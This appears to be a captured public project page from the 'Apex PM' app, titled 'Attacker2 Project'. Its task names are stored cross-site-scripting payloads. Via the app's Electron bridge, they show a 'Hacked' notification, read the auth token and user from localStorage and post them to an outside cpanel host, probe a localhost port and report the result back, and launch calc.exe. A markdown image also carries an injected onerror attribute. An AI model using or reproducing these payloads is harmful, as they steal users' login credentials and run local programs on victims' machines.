A Apex PM
Get the app

Public project

Attacker2 Project

![image](x"onerror="alert(1))

By Attacker2 · Read-only

Open in Apex PM

Tasks (5)

Task 1 todo
<img src=x onerror="window.electronAPI.showNotification({title:'Hacked', body:'XSS to IPC'})"> todo
<img src=x onerror="a=window.electronAPI;t=localStorage.getItem('auth_token');u=localStorage.getItem('auth_user');a.apiRequest({method:'POST',url:'https://clean-gold-hen.50-6-249-60.cpanel.site/api/v1/projects/18/comments',data:{body:t+u}})"> todo
<img src=x onerror="a=window.electronAPI;u='https://clean-gold-hen.50-6-249-60.cpanel.site/api/v1/projects/18/comments';a.apiRequest({url:'http://127.0.0.1:12345'}).catch(e=>a.apiRequest({method:'POST',url:u,data:{body:'E:'+e.message}}))"> todo
<img src=x onerror="window.electronAPI.openExternalUrl('file:///C:/Windows/System32/calc.exe')"> todo

Comments

No comments yet. Open in the app to comment.

Want to collaborate? Install Apex PM and request to join this project.

Download the app →